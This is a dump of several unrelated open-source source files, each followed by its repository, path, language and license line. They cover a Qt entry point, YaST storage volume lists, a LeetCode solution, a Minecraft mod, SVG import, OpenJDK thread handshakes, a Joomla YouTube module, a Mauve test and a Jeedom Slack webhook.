QApplication app(argc, args);
TagsBrowser::MainWindow window;
window.show();
return app.exec();
}
| sjuvonen/tagbrowser | src/main.cpp | C++ | gpl-2.0 | 199 |
#!/usr/bin/env ruby
#
# encoding: utf-8
# Copyright (c) [2016] SUSE LLC
#
# All Rights Reserved.
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of version 2 of the GNU General Public License as published
# by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, contact SUSE LLC.
#
# To contact SUSE LLC about this file by physical or electronic mail, you may
# find current contact information at www.suse.com.
require "yast"
require "storage/planned_volume"
module Yast
module Storage
# Collection of PlannedVolume elements
#
# Implements Enumerable and provides some extra methods to query the list of
# PlannedVolume elements
class PlannedVolumesList
include Enumerable
extend Forwardable
def initialize(volumes = [])
@volumes = volumes
end
def_delegators :@volumes, :each, :empty?, :length, :size
def dup
PlannedVolumesList.new(@volumes.dup)
end
# Deep copy of the collection
#
# Duplicates all the contained volumes, not only the container itself.
#
# @return [PlannedVolumesList]
def deep_dup
PlannedVolumesList.new(@volumes.map { |vol| vol.dup })
end
# Total sum of all desired sizes of volumes.
#
# This tries to avoid an 'unlimited' result:
# If a the desired size of any volume is 'unlimited',
# its minimum size is taken instead. This gives a more useful sum in the
# very common case that any volume has an 'unlimited' desired size.
#
# @return [DiskSize] sum of desired sizes in @volumes
def desired_size
@volumes.reduce(DiskSize.zero) { |sum, vol| sum + vol.min_valid_size(:desired) }
end
# Total sum of all min sizes of volumes.
#
# @return [DiskSize] sum of minimum sizes in @volumes
def min_size
@volumes.reduce(DiskSize.zero) { |sum, vol| sum + vol.min_valid_size(:min_size) }
end
# Total sum of all current sizes of volumes
#
# @return [DiskSize] sum of sizes in @volumes
def total_size
@volumes.reduce(DiskSize.zero) { |sum, vol| sum + vol.size }
end
# Total sum of all weights of volumes
#
# @return [Float]
def total_weight
@volumes.reduce(0.0) { |sum, vol| sum + vol.weight }
end
# Deletes every element of the list for which block evaluates to true
#
# If no block is given, it returns an Enumerator
#
# @return [PlannedVolumesList] deleted elements
def delete_if(&block)
delegated = @volumes.delete_if(&block)
delegated.is_a?(Array) ? PlannedVolumesList.new(delegated) : delegated
end
# Appends the given volume to the list. It returns the list itself,
# so several appends may be chained together
#
# @param volume [PlannedVolume] element to add
# @return [PlannedVolumesList]
def push(volume)
@volumes.push(volume)
self
end
alias_method :<<, :push
# Volumes sorted by a given set of attributes.
#
# It sorts by the first attribute in the list. In case of equality, it
# uses the second element and so on. If all the attributes are equal, the
# original order is respected.
#
# It handles nicely situations with nil values for any of the attributes.
#
# @param attrs [Array<Symbol>] names of the attributes to use for sorting
# @param nils_first [Boolean] whether to put volumes with a value of nil
# at the beginning of the result
# @param descending [Boolean] whether to use descending order
# @return [Array]
def sort_by_attr(*attrs, nils_first: false, descending: false)
@volumes.each_with_index.sort do |one, other|
compare(one, other, attrs, nils_first, descending)
end.map(&:first)
end
private
# @param one [Array] first element: the volume, second: its original index
# @param other [Array] same structure than previous one
def compare(one, other, attrs, nils_first, descending)
one_vol = one.first
other_vol = other.first
result = compare_attr(one_vol, other_vol, attrs.first, nils_first, descending)
if result.zero?
if attrs.size > 1
# Try next attribute
compare(one, other, attrs[1..-1], nils_first, descending)
else
# Keep original order by checking the indexes
one.last <=> other.last
end
else
result
end
end
# @param one [PlannedVolume]
# @param other [PlannedVolume]
def compare_attr(one, other, attr, nils_first, descending)
one_value = one.send(attr)
other_value = other.send(attr)
if one_value.nil? || other_value.nil?
compare_with_nil(one_value, other_value, nils_first)
else
compare_values(one_value, other_value, descending)
end
end
# @param one [PlannedVolume]
# @param other [PlannedVolume]
def compare_values(one, other, descending)
if descending
other <=> one
else
one <=> other
end
end
# @param one [PlannedVolume]
# @param other [PlannedVolume]
def compare_with_nil(one, other, nils_first)
if one.nil? && other.nil?
0
elsif nils_first
one.nil? ? -1 : 1
else
one.nil? ? 1 : -1
end
end
end
end
end
| gabi2/yast-storage-ng | src/lib/storage/planned_volumes_list.rb | Ruby | gpl-2.0 | 5,908 |
#!/usr/bin/env python
#coding=utf8
'''
Given integers n and k, find the lexicographically k-th smallest integer in the range from 1 to n.
Note: 1 ≤ k ≤ n ≤ 109.
Example:
Input:
n: 13 k: 2
Output:
10
Explanation:
The lexicographical order is [1, 10, 11, 12, 13, 2, 3, 4, 5, 6, 7, 8, 9], so the second smallest number is 10.
@author: Chauncey
beat 5.56%
'''
import heapq
import datetime
import time
import sys
import collections
class Solution(object):
def findKthNumber(self, n, k):
"""
:type n: int
:type k: int
:rtype: int
"""
if k<=0 or n<k:
return 0
memo = [0]
power = [1]
test = n
cnt = 0
pws = 1
while test > 0:
test /= 10
cnt *= 10
cnt += 1
memo.append(cnt)
pws *= 10
power.append(pws)
bitcnt = len(memo) - 1
res = []
self.findKthNumberHelper(n+memo[bitcnt], k+memo[bitcnt], memo, power, bitcnt, res)
num = 0
for i in res:
num *= 10
num += i
return num
def findKthNumberHelper(self, n, k, memo, power, bitcnt, res):
#print n, k, memo, power, bitcnt
if n < 10:
res.append(k-1)
return
firstbit = (n-memo[bitcnt]+1) / power[bitcnt-1]
#print n-memo[bitcnt]+1, power[bitcnt-1], firstbit
if firstbit > 9:
firstbit = 9
mm = [0] * 10
for i in xrange(firstbit+1, 10):
mm[i] = memo[bitcnt-1]
for i in xrange(firstbit):
mm[i] = memo[bitcnt]
mm[firstbit] = n - sum(mm)
lsum = sum(mm[:firstbit])
rsum = sum(mm[firstbit+1:])
idx = 0
while idx<10:
if k > mm[idx]:
k -= mm[idx]
else:
break
idx+=1
#print mm, k, idx, idx*power[bitcnt-1]
#print
new_n = n-sum(mm[:idx])-sum(mm[idx+1:])-1
res.append(idx)
if k != 1:
self.findKthNumberHelper(new_n, k-1, memo, power, bitcnt-1, res)
if __name__ == '__main__':
solution = Solution()
start_time = datetime.datetime.now()
print solution.findKthNumber(13, 2)
#10, [1, 10, 11, 12, 13, 2, 3, 4, 5, 6, 7, 8, 9]
print solution.findKthNumber(13, 8)
#4, [1, 10, 11, 12, 13, 2, 3, 4, 5, 6, 7, 8, 9]
print solution.findKthNumber(13, 1)
#1, [1, 10, 11, 12, 13, 2, 3, 4, 5, 6, 7, 8, 9]
print solution.findKthNumber(23, 13)
#20, [1, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 2, 20, 21, 22, 23, 3, 4, 5, 6, 7, 8, 9]
print solution.findKthNumber(23, 15)
#22, [1, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 2, 20, 21, 22, 23, 3, 4, 5, 6, 7, 8, 9]
print solution.findKthNumber(4289384, 1922239)
print solution.findKthNumber(1, 1)
#1
print solution.findKthNumber(10000, 10000)
#9999
elapsed = datetime.datetime.now() - start_time
print 'elapsed:', elapsed.total_seconds() | mornsun/javascratch | src/topcoder.py/LC_440_K-th_Smallest_in_Lexicographical_Order.py | Python | gpl-2.0 | 3,037 |
package me.planetguy.lib;
import java.io.File;
import net.minecraftforge.common.config.ConfigCategory;
import net.minecraftforge.common.config.Configuration;
import me.planetguy.lib.safedraw.SafeDraw;
import me.planetguy.lib.util.Debug;
import me.planetguy.lib.util.LibProperties;
import me.planetguy.lib.util.Reflection;
import me.planetguy.lib.util.impl.CommandEditBlacklist;
import cpw.mods.fml.common.FMLCommonHandler;
import cpw.mods.fml.common.Mod;
import cpw.mods.fml.common.Mod.EventHandler;
import cpw.mods.fml.common.Mod.Instance;
import cpw.mods.fml.common.event.FMLPreInitializationEvent;
import cpw.mods.fml.common.event.FMLServerStartingEvent;
import cpw.mods.fml.relauncher.Side;
@Mod(modid = LibProperties.modID, version = "1.10")
public class PlanetguyLib {
@Instance(LibProperties.modID)
public static PlanetguyLib instance;
public File configFolder;
public static boolean doPLLogging=false;
public PlanetguyLib() {
instance = this;
}
@EventHandler
public void preInit(FMLPreInitializationEvent pie) {
Reflection.init();
configFolder = new File(pie.getModConfigurationDirectory().getAbsoluteFile()+File.separator+"planetguyLib");
configFolder.mkdir();
Configuration cfg=new Configuration(pie.getSuggestedConfigurationFile());
cfg.load();
doPLLogging=cfg.getBoolean("muteLogging", Configuration.CATEGORY_GENERAL, doPLLogging, "Turn on or off all logging through PlanetguyLib. Set this to true if asked by a modder.");
cfg.save();
}
@EventHandler
public void serverLoad(FMLServerStartingEvent evt) {
Debug.mark();
evt.registerServerCommand(new CommandEditBlacklist());
if(FMLCommonHandler.instance().getEffectiveSide() == Side.CLIENT) {
SafeDraw.init();
}
}
}
| planetguy32/Utils | src/main/java/me/planetguy/lib/PlanetguyLib.java | Java | gpl-2.0 | 1,732 |
#include "import.h"
void loadSvg(xml_element_t xml_root_element, Context context)
{
document_traversal<
processed_elements<processed_elements_t>,
processed_attributes<traits::shapes_attributes_by_element>
>::load_document(xml_root_element, context);
}
std::vector<rect *> Context::getValue()
{
return ValueTable;
}
void Context::path_move_to(double x, double y, tag::coordinate::absolute)
{
rect *newRect = new rect;
newRect->x_value = x;
newRect->y_value = y;
ValueTable.push_back(newRect);
}
void Context::path_line_to(double x, double y, tag::coordinate::absolute)
{
rect *newRect = new rect;
newRect->x_value = x;
newRect->y_value = y;
ValueTable.push_back(newRect);
}
void Context::path_cubic_bezier_to(
double x1, double y1,
double x2, double y2,
double x, double y,
tag::coordinate::absolute)
{}
void Context::path_quadratic_bezier_to(
double x1, double y1,
double x, double y,
tag::coordinate::absolute)
{}
void Context::path_elliptical_arc_to(
double rx, double ry, double x_axis_rotation,
bool large_arc_flag, bool sweep_flag,
double x, double y,
tag::coordinate::absolute)
{}
void Context::path_close_subpath()
{}
void Context::path_exit()
{}
void Context::on_enter_element(tag::element::any)
{
}
void Context::on_enter_element(tag::element::rect)
{
std::cout<<"Enterint rect"<<std::endl;
}
void Context::on_exit_element()
{
}
std::vector<rect *> Context::ValueTable;
| asuradaimao/Walfas | dev/dev3/import.cc | C++ | gpl-2.0 | 1,688 |
/*
* Copyright (c) 2017, 2019, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#include "precompiled.hpp"
#include "logging/log.hpp"
#include "logging/logStream.hpp"
#include "memory/resourceArea.hpp"
#include "runtime/atomic.hpp"
#include "runtime/handshake.hpp"
#include "runtime/interfaceSupport.inline.hpp"
#include "runtime/osThread.hpp"
#include "runtime/semaphore.inline.hpp"
#include "runtime/task.hpp"
#include "runtime/thread.hpp"
#include "runtime/vmThread.hpp"
#include "utilities/formatBuffer.hpp"
#include "utilities/preserveException.hpp"
class HandshakeOperation: public StackObj {
public:
virtual void do_handshake(JavaThread* thread) = 0;
};
class HandshakeThreadsOperation: public HandshakeOperation {
static Semaphore _done;
HandshakeClosure* _handshake_cl;
bool _executed;
public:
HandshakeThreadsOperation(HandshakeClosure* cl) : _handshake_cl(cl), _executed(false) {}
void do_handshake(JavaThread* thread);
bool thread_has_completed() { return _done.trywait(); }
bool executed() const { return _executed; }
const char* name() { return _handshake_cl->name(); }
#ifdef ASSERT
void check_state() {
assert(!_done.trywait(), "Must be zero");
}
#endif
};
Semaphore HandshakeThreadsOperation::_done(0);
class VM_Handshake: public VM_Operation {
const jlong _handshake_timeout;
public:
bool evaluate_at_safepoint() const { return false; }
protected:
HandshakeThreadsOperation* const _op;
VM_Handshake(HandshakeThreadsOperation* op) :
_handshake_timeout(TimeHelper::millis_to_counter(HandshakeTimeout)), _op(op) {}
void set_handshake(JavaThread* target) {
target->set_handshake_operation(_op);
}
// This method returns true for threads completed their operation
// and true for threads canceled their operation.
// A cancellation can happen if the thread is exiting.
bool poll_for_completed_thread() { return _op->thread_has_completed(); }
bool handshake_has_timed_out(jlong start_time);
static void handle_timeout();
};
bool VM_Handshake::handshake_has_timed_out(jlong start_time) {
// Check if handshake operation has timed out
if (_handshake_timeout > 0) {
return os::elapsed_counter() >= (start_time + _handshake_timeout);
}
return false;
}
void VM_Handshake::handle_timeout() {
LogStreamHandle(Warning, handshake) log_stream;
for (JavaThreadIteratorWithHandle jtiwh; JavaThread *thr = jtiwh.next(); ) {
if (thr->has_handshake()) {
log_stream.print("Thread " PTR_FORMAT " has not cleared its handshake op", p2i(thr));
thr->print_thread_state_on(&log_stream);
}
}
log_stream.flush();
fatal("Handshake operation timed out");
}
static void log_handshake_info(jlong start_time_ns, const char* name, int targets, int vmt_executed, const char* extra = NULL) {
if (start_time_ns != 0) {
jlong completion_time = os::javaTimeNanos() - start_time_ns;
log_info(handshake)("Handshake \"%s\", Targeted threads: %d, Executed by targeted threads: %d, Total completion time: " JLONG_FORMAT " ns%s%s",
name, targets,
targets - vmt_executed,
completion_time,
extra != NULL ? ", " : "",
extra != NULL ? extra : "");
}
}
class VM_HandshakeOneThread: public VM_Handshake {
JavaThread* _target;
public:
VM_HandshakeOneThread(HandshakeThreadsOperation* op, JavaThread* target) :
VM_Handshake(op), _target(target) {}
void doit() {
DEBUG_ONLY(_op->check_state();)
jlong start_time_ns = 0;
if (log_is_enabled(Info, handshake)) {
start_time_ns = os::javaTimeNanos();
}
ThreadsListHandle tlh;
if (tlh.includes(_target)) {
set_handshake(_target);
} else {
log_handshake_info(start_time_ns, _op->name(), 0, 0, "(thread dead)");
return;
}
log_trace(handshake)("JavaThread " INTPTR_FORMAT " signaled, begin attempt to process by VMThtread", p2i(_target));
jlong timeout_start_time = os::elapsed_counter();
bool by_vm_thread = false;
do {
if (handshake_has_timed_out(timeout_start_time)) {
handle_timeout();
}
by_vm_thread = _target->handshake_try_process_by_vmThread();
} while (!poll_for_completed_thread());
DEBUG_ONLY(_op->check_state();)
log_handshake_info(start_time_ns, _op->name(), 1, by_vm_thread ? 1 : 0);
}
VMOp_Type type() const { return VMOp_HandshakeOneThread; }
bool executed() const { return _op->executed(); }
};
class VM_HandshakeAllThreads: public VM_Handshake {
public:
VM_HandshakeAllThreads(HandshakeThreadsOperation* op) : VM_Handshake(op) {}
void doit() {
DEBUG_ONLY(_op->check_state();)
jlong start_time_ns = 0;
if (log_is_enabled(Info, handshake)) {
start_time_ns = os::javaTimeNanos();
}
int handshake_executed_by_vm_thread = 0;
JavaThreadIteratorWithHandle jtiwh;
int number_of_threads_issued = 0;
for (JavaThread *thr = jtiwh.next(); thr != NULL; thr = jtiwh.next()) {
set_handshake(thr);
number_of_threads_issued++;
}
if (number_of_threads_issued < 1) {
log_handshake_info(start_time_ns, _op->name(), 0, 0);
return;
}
log_trace(handshake)("Threads signaled, begin processing blocked threads by VMThread");
const jlong start_time = os::elapsed_counter();
int number_of_threads_completed = 0;
do {
// Check if handshake operation has timed out
if (handshake_has_timed_out(start_time)) {
handle_timeout();
}
// Have VM thread perform the handshake operation for blocked threads.
// Observing a blocked state may of course be transient but the processing is guarded
// by semaphores and we optimistically begin by working on the blocked threads
jtiwh.rewind();
for (JavaThread *thr = jtiwh.next(); thr != NULL; thr = jtiwh.next()) {
// A new thread on the ThreadsList will not have an operation,
// hence it is skipped in handshake_process_by_vmthread.
if (thr->handshake_try_process_by_vmThread()) {
handshake_executed_by_vm_thread++;
}
}
while (poll_for_completed_thread()) {
// Includes canceled operations by exiting threads.
number_of_threads_completed++;
}
} while (number_of_threads_issued > number_of_threads_completed);
assert(number_of_threads_issued == number_of_threads_completed, "Must be the same");
DEBUG_ONLY(_op->check_state();)
log_handshake_info(start_time_ns, _op->name(), number_of_threads_issued, handshake_executed_by_vm_thread);
}
VMOp_Type type() const { return VMOp_HandshakeAllThreads; }
};
class VM_HandshakeFallbackOperation : public VM_Operation {
HandshakeClosure* _handshake_cl;
Thread* _target_thread;
bool _all_threads;
bool _executed;
public:
VM_HandshakeFallbackOperation(HandshakeClosure* cl) :
_handshake_cl(cl), _target_thread(NULL), _all_threads(true), _executed(false) {}
VM_HandshakeFallbackOperation(HandshakeClosure* cl, Thread* target) :
_handshake_cl(cl), _target_thread(target), _all_threads(false), _executed(false) {}
void doit() {
log_trace(handshake)("VMThread executing VM_HandshakeFallbackOperation, operation: %s", name());
for (JavaThreadIteratorWithHandle jtiwh; JavaThread *t = jtiwh.next(); ) {
if (_all_threads || t == _target_thread) {
if (t == _target_thread) {
_executed = true;
}
_handshake_cl->do_thread(t);
}
}
}
VMOp_Type type() const { return VMOp_HandshakeFallback; }
bool executed() const { return _executed; }
};
void HandshakeThreadsOperation::do_handshake(JavaThread* thread) {
jlong start_time_ns = 0;
if (log_is_enabled(Debug, handshake, task)) {
start_time_ns = os::javaTimeNanos();
}
// Only actually execute the operation for non terminated threads.
if (!thread->is_terminated()) {
_handshake_cl->do_thread(thread);
_executed = true;
}
if (start_time_ns != 0) {
jlong completion_time = os::javaTimeNanos() - start_time_ns;
log_debug(handshake, task)("Operation: %s for thread " PTR_FORMAT ", is_vm_thread: %s, completed in " JLONG_FORMAT " ns",
name(), p2i(thread), BOOL_TO_STR(Thread::current()->is_VM_thread()), completion_time);
}
// Use the semaphore to inform the VM thread that we have completed the operation
_done.signal();
// It is no longer safe to refer to 'this' as the VMThread may have destroyed this operation
}
void Handshake::execute(HandshakeClosure* thread_cl) {
if (SafepointMechanism::uses_thread_local_poll()) {
HandshakeThreadsOperation cto(thread_cl);
VM_HandshakeAllThreads handshake(&cto);
VMThread::execute(&handshake);
} else {
VM_HandshakeFallbackOperation op(thread_cl);
VMThread::execute(&op);
}
}
bool Handshake::execute(HandshakeClosure* thread_cl, JavaThread* target) {
if (SafepointMechanism::uses_thread_local_poll()) {
HandshakeThreadsOperation cto(thread_cl);
VM_HandshakeOneThread handshake(&cto, target);
VMThread::execute(&handshake);
return handshake.executed();
} else {
VM_HandshakeFallbackOperation op(thread_cl, target);
VMThread::execute(&op);
return op.executed();
}
}
HandshakeState::HandshakeState() : _operation(NULL), _semaphore(1), _thread_in_process_handshake(false) {
DEBUG_ONLY(_vmthread_processing_handshake = false;)
}
void HandshakeState::set_operation(JavaThread* target, HandshakeOperation* op) {
_operation = op;
SafepointMechanism::arm_local_poll_release(target);
}
void HandshakeState::clear_handshake(JavaThread* target) {
_operation = NULL;
SafepointMechanism::disarm_if_needed(target, true /* release */);
}
void HandshakeState::process_self_inner(JavaThread* thread) {
assert(Thread::current() == thread, "should call from thread");
assert(!thread->is_terminated(), "should not be a terminated thread");
assert(thread->thread_state() != _thread_blocked, "should not be in a blocked state");
assert(thread->thread_state() != _thread_in_native, "should not be in native");
do {
ThreadInVMForHandshake tivm(thread);
if (!_semaphore.trywait()) {
_semaphore.wait_with_safepoint_check(thread);
}
HandshakeOperation* op = Atomic::load_acquire(&_operation);
if (op != NULL) {
HandleMark hm(thread);
CautiouslyPreserveExceptionMark pem(thread);
// Disarm before execute the operation
clear_handshake(thread);
op->do_handshake(thread);
}
_semaphore.signal();
} while (has_operation());
}
bool HandshakeState::vmthread_can_process_handshake(JavaThread* target) {
// handshake_safe may only be called with polls armed.
// VM thread controls this by first claiming the handshake via claim_handshake_for_vmthread.
return SafepointSynchronize::handshake_safe(target);
}
static bool possibly_vmthread_can_process_handshake(JavaThread* target) {
// Note that this method is allowed to produce false positives.
if (target->is_ext_suspended()) {
return true;
}
if (target->is_terminated()) {
return true;
}
switch (target->thread_state()) {
case _thread_in_native:
// native threads are safe if they have no java stack or have walkable stack
return !target->has_last_Java_frame() || target->frame_anchor()->walkable();
case _thread_blocked:
return true;
default:
return false;
}
}
bool HandshakeState::claim_handshake_for_vmthread() {
if (!_semaphore.trywait()) {
return false;
}
if (has_operation()) {
return true;
}
_semaphore.signal();
return false;
}
bool HandshakeState::try_process_by_vmThread(JavaThread* target) {
assert(Thread::current()->is_VM_thread(), "should call from vm thread");
if (!has_operation()) {
// JT has already cleared its handshake
return false;
}
if (!possibly_vmthread_can_process_handshake(target)) {
// JT is observed in an unsafe state, it must notice the handshake itself
return false;
}
// Claim the semaphore if there still an operation to be executed.
if (!claim_handshake_for_vmthread()) {
return false;
}
// If we own the semaphore at this point and while owning the semaphore
// can observe a safe state the thread cannot possibly continue without
// getting caught by the semaphore.
bool executed = false;
if (vmthread_can_process_handshake(target)) {
guarantee(!_semaphore.trywait(), "we should already own the semaphore");
log_trace(handshake)("Processing handshake by VMThtread");
DEBUG_ONLY(_vmthread_processing_handshake = true;)
_operation->do_handshake(target);
DEBUG_ONLY(_vmthread_processing_handshake = false;)
// Disarm after VM thread have executed the operation.
clear_handshake(target);
executed = true;
}
// Release the thread
_semaphore.signal();
return executed;
}
| md-5/jdk10 | src/hotspot/share/runtime/handshake.cpp | C++ | gpl-2.0 | 13,873 |
<?php
/**
* Random youtube video fancy zoom
*
* @package Random youtube video fancy zoom
* @subpackage Random youtube video fancy zoom
* @version 3.3
* @author Gopi Ramasamy
* @copyright Copyright (C) 2010 - 2014 www.gopiplus.com, LLC
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
*
*/
// no direct access
defined('_JEXEC') or die;
class ModRandomYoutubeVideoFancyZoom
{
public static function loadScripts(&$params)
{
$doc = JFactory::getDocument();
$ytfz_jquery = $params->get("ytfz_jquery","yes");
if($ytfz_jquery == "yes")
{
$doc->addScript(JURI::Root(true).'/modules/mod_random_youtube_video_fancy_zoom/inc/jquery.min.js');
}
$doc->addStyleSheet(JURI::Root(true).'/modules/mod_random_youtube_video_fancy_zoom/inc/youtube-with-fancy-zoom.css','','screen');
$doc->addScript(JURI::Root(true).'/modules/mod_random_youtube_video_fancy_zoom/inc/youtube-with-fancy-zoom.js');
}
public static function getVideoList($args)
{
$ytfz_videocode1 = $args['ytfz_videocode1'];
$ytfz_videocode2 = $args['ytfz_videocode2'];
$ytfz_videocode3 = $args['ytfz_videocode3'];
$ytfz_videocode4 = $args['ytfz_videocode4'];
$ytfz_videocode5 = $args['ytfz_videocode5'];
$ytfz_videocode6 = $args['ytfz_videocode6'];
$ytfz_videocode7 = $args['ytfz_videocode7'];
$ytfz_videocode8 = $args['ytfz_videocode8'];
$ytfz_videocode9 = $args['ytfz_videocode9'];
$ytfz_videocode10 = $args['ytfz_videocode10'];
$ytfz_width = $args['ytfz_width'];
$ytfz_height = $args['ytfz_height'];
$ytfz_image = $args['ytfz_image'];
$ytfz_option = $args['ytfz_option'];
$moduleclass_sfx = $args['moduleclass_sfx'];
$ytfz_imgfolder = $args['ytfz_imgfolder'];
$video = array();
$videocode = array();
$videodisplay = array();
$LiveSite = JURI::base();
$arr = 0;
//$video[0] = new stdClass;
if($ytfz_videocode1 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode1;
$video[$arr]->videimage = "1.jpg";
$arr = $arr +1;
}
if($ytfz_videocode2 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode2;
$video[$arr]->videimage = "2.jpg";
$arr = $arr +1;
}
if($ytfz_videocode3 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode3;
$video[$arr]->videimage = "3.jpg";
$arr = $arr +1;
}
if($ytfz_videocode4 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode4;
$video[$arr]->videimage = "4.jpg";
$arr = $arr +1;
}
if($ytfz_videocode5 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode5;
$video[$arr]->videimage = "5.jpg";
$arr = $arr +1;
}
if($ytfz_videocode6 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode6;
$video[$arr]->videimage = "6.jpg";
$arr = $arr +1;
}
if($ytfz_videocode7 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode7;
$video[$arr]->videimage = "7.jpg";
$arr = $arr +1;
}
if($ytfz_videocode8 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode8;
$video[$arr]->videimage = "8.jpg";
$arr = $arr +1;
}
if($ytfz_videocode9 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode9;
$video[$arr]->videimage = "9.jpg";
$arr = $arr +1;
}
if($ytfz_videocode10 <> "")
{
$video[$arr] = new stdClass;
$video[$arr]->videocode = $ytfz_videocode10;
$video[$arr]->videimage = "10jpg";
$arr = $arr +1;
}
$vcode = rand(0, count($video)-1);
$videodisplay[0] = new stdClass;
$videodisplay[0]->videolink = $video[$vcode]->videocode;
$videodisplay[0]->width = $ytfz_width;
$videodisplay[0]->height = $ytfz_height;
if($ytfz_image == "YouTubeImage")
{
$q = parse_url($video[$vcode]->videocode,6);
parse_str($q);
$videodisplay[0]->imagepath = "http://img.youtube.com/vi/".$v."/0.jpg";
}
else
{
$LiveSite = JURI::base();
// if folder includes livesite info, remove
if (JString::strpos($ytfz_imgfolder, $LiveSite) === 0) {
$ytfz_imgfolder = str_replace($LiveSite, '', $ytfz_imgfolder);
}
// if folder includes absolute path, remove
if (JString::strpos($ytfz_imgfolder, JPATH_SITE) === 0) {
$ytfz_imgfolder= str_replace(JPATH_BASE, '', $ytfz_imgfolder);
}
$path = JURI::base().$ytfz_imgfolder ."/". $video[$vcode]->videimage;
$videodisplay[0]->imagepath = $path;
}
return $videodisplay;
}
}
?> | marcialsoto/cienciactiva | modules/mod_random_youtube_video_fancy_zoom/helper.php | PHP | gpl-2.0 | 4,559 |
// Test for instanceof operator applied to a class java.util.DuplicateFormatFlagsException
// Copyright (C) 2012 Pavel Tisnovsky <ptisnovs@redhat.com>
// This file is part of Mauve.
// Mauve is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2, or (at your option)
// any later version.
// Mauve is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Mauve; see the file COPYING. If not, write to
// the Free Software Foundation, Inc., 51 Franklin Street,
// Fifth Floor, Boston, MA 02110-1301 USA.
package gnu.testlet.java.util.DuplicateFormatFlagsException.classInfo;
import gnu.testlet.TestHarness;
import gnu.testlet.Testlet;
import java.util.DuplicateFormatFlagsException;
import java.util.IllegalFormatException;
import java.lang.IllegalArgumentException;
import java.lang.RuntimeException;
import java.lang.Exception;
import java.lang.Throwable;
import java.lang.Object;
/**
* Test for instanceof operator applied to a class java.util.DuplicateFormatFlagsException
*/
public class InstanceOf implements Testlet
{
/**
* Runs the test using the specified harness.
*
* @param harness the test harness (<code>null</code> not permitted).
*/
public void test(TestHarness harness)
{
// create instance of a class DuplicateFormatFlagsException
DuplicateFormatFlagsException o = new DuplicateFormatFlagsException("DuplicateFormatFlagsException");
// basic check of instanceof operator
harness.check(o instanceof DuplicateFormatFlagsException);
// check operator instanceof against all superclasses
harness.check(o instanceof IllegalFormatException);
harness.check(o instanceof IllegalArgumentException);
harness.check(o instanceof RuntimeException);
harness.check(o instanceof Exception);
harness.check(o instanceof Throwable);
harness.check(o instanceof Object);
}
}
| niloc132/mauve-gwt | src/main/java/gnu/testlet/java/util/DuplicateFormatFlagsException/classInfo/InstanceOf.java | Java | gpl-2.0 | 2,292 |
<?php
/* This file is part of Jeedom.
*
* Jeedom is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Jeedom is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with Jeedom. If not, see <http://www.gnu.org/licenses/>.
*/
header('Content-type: application/json');
require_once dirname(__FILE__) . "/../../../../core/php/core.inc.php";
if (!jeedom::apiAccess(init('apikey'), 'slack')) {
echo __('Clef API non valide, vous n\'êtes pas autorisé à effectuer cette action (slack)', __FILE__);
die();
}
if (init('user_name') == 'slackbot' || init('user_id') == 'USLACKBOT' || init('text') == '' || strpos(init('text'),'uploaded a file:')) {
echo json_encode(array('text' => ''));
die();
}
$eqLogic = slack::byLogicalId(init('team_domain'), 'slack');
if (!is_object($eqLogic)) {
echo json_encode(array('text' => __('Domaine inconnue : ', __FILE__) . init('team_domain')));
die();
}
$parameters = array('plugin' => 'slack');
$user = user::byLogin(init('user_name'));
if (is_object($user)) {
$parameters['profile'] = init('user_name');
}
foreach ($eqLogic->getCmd('action') as $cmd) {
if ('#' . init('channel_name') == $cmd->getConfiguration('destination','#' . init('channel_name')) && $cmd->askResponse(init('text'))) {
echo json_encode(array('text' => ''));
die();
}
}
$cmd_text = $eqLogic->getCmd('info', 'text');
$cmd_text->event(trim(init('text')));
$cmd_sender = $eqLogic->getCmd('info', 'sender');
$cmd_sender->event(init('user_name'));
if(preg_match('/http(.*?)\.slack\.com\/files/i', trim(init('text')))){
echo json_encode(array('text' => ''));
}else{
$reply = interactQuery::tryToReply(trim(init('text')), $parameters);
echo json_encode(array('text' => $reply['reply']));
}
